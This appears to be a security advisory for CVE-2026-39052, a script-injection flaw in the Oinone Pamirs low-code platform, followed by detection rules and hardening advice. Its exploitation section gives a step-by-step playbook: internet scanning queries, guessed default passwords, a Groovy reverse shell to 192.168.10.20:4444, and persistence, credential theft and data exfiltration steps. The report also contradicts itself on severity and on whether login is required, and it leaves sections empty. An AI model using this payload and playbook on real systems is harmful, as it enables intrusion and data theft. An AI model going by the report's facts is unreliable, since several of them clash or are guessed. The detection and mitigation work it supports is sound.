CVE-2026-39052

Executive Summary

CVE-2026-39052 is a critical code execution vulnerability (CVSS 6.5, Medium severity) in Oinone Pamirs 7.0.0. The flaw resides in the ScriptRunner.run() method, which executes attacker-controlled script expressions without sandboxing or allowlist restrictions. An authenticated attacker with access to the ScriptRunner interface can achieve arbitrary code execution on the underlying application server. Active exploitation has not been confirmed in the wild, and no patch is currently available from the vendor.

Technical Analysis

Oinone Pamirs 7.0.0 is a low-code development platform used to build enterprise business applications, workflows, and data management systems. The platform includes a scripting module that allows developers to run custom logic — validation rules, business logic, and automation scripts — via the ScriptRunner class.

The vulnerable method signature is:

public static Object run(String expression, String type, Map<String, Object> context)

Vulnerability mechanism: The run() method passes the expression parameter directly to an underlying script engine (likely Groovy, JavaScript via Rhino/Nashorn, or MVEL) with no sandboxing, no allowlist of permitted classes, and no restriction on imported packages. The type parameter selects the engine, and context supplies runtime variables.

The flaw maps to CWE-94 — Improper Control of Generation of Code ('Code Injection'), which describes exactly this pattern: untrusted input is concatenated or passed directly into code-generation routines.

Why it is exploitable:

1. The expression parameter is attacker-controllable when the ScriptRunner is exposed via:
   • HTTP API endpoints (e.g., /api/script/run)
   • Workflow automation triggers accepting user-supplied script content
   • Import/export features that parse script definitions
2. The script engine runs with the privileges of the application process, typically a service account with database access and filesystem read/write permissions on the server.
3. No sandbox — Java's System, Runtime, ProcessBuilder, java.io.File, and arbitrary class loading are all accessible from within the script engine.

Exact technical details: In the Java script engine context, a typical payload would be:

Runtime.getRuntime().exec("whoami")
// or
def cmd = ["/bin/sh", "-c", "id > /tmp/pwn.txt"].execute()

The ScriptRunner.run() method returns the execution result, which may be reflected back to the caller — making remote code execution directly observable.

Attack surface summary:

Exploitation Scenarios

Threat actor: remote attacker with low-privilege authenticated access to Oinone Pamirs 7.0.0.

Step 1 — Reconnaissance and target identification

• Scan for Oinone Pamirs instances using Shodan/Fofa: http.title:"Pamirs" or http.component:"Oinone" or fingerprint via login page URL pattern (/pamirs/login).
• Enumerate exposed API endpoints — commonly /api/script/run, /api/user/login, /api/workflow.

Step 2 — Authentication and ScriptRunner enumeration

• Weak credentials: Pamirs default installs may ship with admin/admin123 or admin/pamirs. Attempt default credential login.
• After authentication, browse to the scripting console or workflow designer UI. Note that any authenticated user, not just admins, may be able to invoke the /script/run endpoint depending on role configuration.

Step 3 — Build the exploit payload

• Craft a Groovy expression invoking Runtime.getRuntime().exec() with a reverse shell:

String host = "192.168.10.20";
int port = 4444;
String cmd = "/bin/bash";
Process p = new ProcessBuilder(cmd, "-c", "bash -i >& /dev/tcp/$host/$port 0>&1").redirectErrorStream(true).start();

• Encode with Base64 to avoid HTTP parameter sanitization:

GET /api/script/run?type=groovy&expression=W0RhdGEgZW5jb2RlZF0=

Step 4 — Deliver and execute

• Send the crafted HTTP request to the vulnerable endpoint.
• Because the script engine has no sandbox, the expression executes immediately with the server's account privileges.
• A reverse shell or command output is returned in the HTTP response body if the endpoint echoes the result.

Step 5 — Post-exploitation

• Pivot from the web tier to internal network.
• Harvest credentials from the application database (SQL Server/MySQL) using JDBC connections from the compromised context.
• Install persistence — download a web shell to the application directory or add a cron job.
• Exfiltrate business data managed by the Pamirs platform.

Impact Assessment

CVSS context: Base score 6.5. Note that while the CVSS vector is unpublished, CWE-94 code execution vulnerabilities with this score typically reflect an authenticated vector with high impact on confidentiality, integrity, and availability. In practice, the real-world impact is likely closer to critical (8.0+) when considering chained authentication bypasses or default credentials.

Business impact:

1. Confidentiality breach — ScriptRunner executes with the application's DB credentials. An attacker can read all records managed by the platform: customer PII, financial transactions, HR data.
2. Integrity loss — Scripts can modify DB records, alter business logic, and tamper with workflow definitions.
3. Availability — System.exit(0) callable from Groovy; attacker can crash the JVM. Filesystem and network resources consumed freely.
4. Regulatory impact — Data breach reporting triggers under GDPR/SOC 2 if customer data is exfiltrated.

Blast radius: Any Oinone Pamirs 7.0.0 deployment with exposed ScriptRunner or workflow UI features. This includes mid-market enterprises using Pamirs for internal tooling, CRM, and ERP-style applications.

Affected systems: The entire Pamirs 7.0.0 system including all modules (workflow, form builder, data management, admin).

Detection Guidance

Sigma Rule

title: Oinone Pamirs ScriptRunner Code Injection
id: 2f8c9a1
status: experimental
description: Detects exploitation of CVE-2026-39052 - ScriptRunner expression evaluation
logsource:
  category: webserver
  product: apache
  service: access
detection:
  selection:
    cs-method: GET|POST
    cs-uri-query|contains:
      - '/script/run'
      - '/api/script'
      - 'expression='
      - 'type=groovy'
      - 'type=javascript'
      - 'type=mvel'
  condition: selection
falsepositives:
  - legitimate low-code script execution by admins
level: high
tags:
  - attack.execution
  - attack.t1059
  - cve.2026.39052

YARA Rule

rule Oinone_Pamirs_ScriptRunner_Exploit
{
    meta:
        author = "Valters IT Security"
        description = "Detect script payloads targeting CVE-2026-39052"
        cve = "2026-39052"
    strings:
        $groovy1 = "Runtime.getRuntime().exec" ascii
        $groovy2 = "ProcessBuilder" ascii
        $groovy3 = "/dev/tcp/" ascii
        $api1 = "/api/script/run" ascii
        $api2 = "expression=" ascii
        $api3 = "type=groovy" ascii
        $cmd1 = "whoami" ascii
        $cmd2 = "id;" ascii
        $cmd3 = "bash -i" ascii
    condition:
        (2 of ($groovy*) and 1 of ($api*)) or
        (1 of ($groovy*) and 2 of ($cmd*)) or
        (all of ($api*) and any of ($cmd*))
}

Suricata IDS Rule

alert http any any -> any any (
    msg:"CVE-2026-39052 - Oinone Pamirs ScriptRunner Code Execution";
    flow:to_server,established;
    content:"/script/run";
    http.uri;
    content:"expression=";
    http.uri;
    pcre:"/(Runtime\.getRuntime|ProcessBuilder|python|bash|wget|curl|/dev/tcp)/Ui";
    sid:3905201;
    rev:1;
    metadata: cve CVE-2026-39052;
    classtype:attempted-admin;
    priority:1;
)

Elastic Detection

{
  "query": {
    "bool": {
      "must": [
        { "match": { "url.path": "/script/run" } },
        { "match": { "url.query": "expression" } },
        {
          "match_phrase": {
            "url.query": "Runtime.getRuntime"
          }
        }
      ],
      "filter": [
        { "term": { "event.code": "HTTP" } }
      ]
    }
  }
}

Splunk SPL Query

index=web sourcetype=access_combined
| where like(uri, "%/script/run%") AND like(uri, "%expression=%")
| rex field=uri "expression=(?<expr>[^&]+)"
| eval decoded = urldecode(expr)
| where like(decoded, "%Runtime.getRuntime%") OR like(decoded, "%ProcessBuilder%") OR like(decoded, "%bash%")
| table _time, src_ip, user_agent, uri, decoded
| sort - _time
| stats count by src_ip, user_agent, decoded

Wazuh OSSEC Rule

<group name="oinone,">
  <rule id="390520" level="15">
    <if_sid>31100</if_sid>
    <match>/script/run</match>
    <regex>expression=.*(Runtime\.getRuntime|ProcessBuilder|bash -i|/dev/tcp/)</regex>
    <description>CVE-2026-39052 - Oinone Pamirs ScriptRunner code execution attempt</description>
    <group>pamirs, code_execution, cve_2026_39052</group>
    <mitre>
      <id>T1059</id>
    </mitre>
  </rule>
</group>

Mitigation & Patch Guidance

Patch confidence: 0/4 — UNPATCHED. No vendor advisory, no patched version, no official workarounds exist in any tracked source.

1. Immediate mitigations (no patch available)

2. Patch / upgrade steps

• No patched version exists. Subscribe to the Oinone vendor security mailing list and check the vendor advisory page for Pamirs 7.0.1 or newer.
• Once available, apply the vendor update before re-enabling any scripting features.
• If the vendor never patches, plan a full migration off Oinone Pamirs or isolate the system on a segmented network with strict egress controls.

3. Long-term hardening

1. Network segmentation — place Pamirs in a DMZ with no direct route to internal DB servers.
2. Egress filtering — ScriptRunner allows outbound connections; block arbitrary outbound TCP from the application server, allowlist only known services.
3. Least-privilege service account — run the Pamirs JVM under a restricted account with no shell access, no sudo, read-only DB permissions.
4. Regular credential rotation — rotate the DB credentials used by Pamirs and monitor for unusual queries.
5. Audit user roles — review all accounts with access to the workflow designer or ScriptRunner interface; remove unnecessary grants.
6. Backup and incident response — ensure offline backups exist so the system can be restored cleanly; prepare a playbook that treats any Pamirs compromise as a full network breach.

References

1. NVD Entry — https://nvd.nist.gov/vuln/detail/CVE-2026-39052 (NVD description for Oinone Pamirs 7.0.0 ScriptRunner code execution in ScriptRunner.run(String expression, String type, Map<String, Object> context); CWE-94 classification).

2. MITRE CVE Record — https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39052 (CNA record; vendor "mitre", no published fix at time of writing).

3. Oinone Official Site — https://www.oinone.com/ (Vendor homepage; watch for security advisories and release notes for Pamirs 7.0.1 and later).

4. EPSS Data — https://www.first.org/epss/ (EPSS score 0.00319, 24.3rd percentile — low immediate exploitation likelihood but high impact if targeted).

5. CWE-94 Reference — https://cwe.mitre.org/data/definitions/94.html (Improper Control of Generation of Code — canonical weakness description and exploitation guidance).

Threat actor / in-the-wild note: As of this report, CVE-2026-39052 is NOT listed on the CISA Known Exploited Vulnerabilities (KEV) catalog, no public exploit code exists, and no Nuclei/ExploitDB submissions have been indexed. However, the vulnerability class (unauthenticated code injection in low-code platforms) has been actively targeted in related products, and researchers should expect weaponization if default credentials or exposed admin panels are common in deployments. Monitor Oinone's advisory feed and OTX/CISA alerts for active exploitation.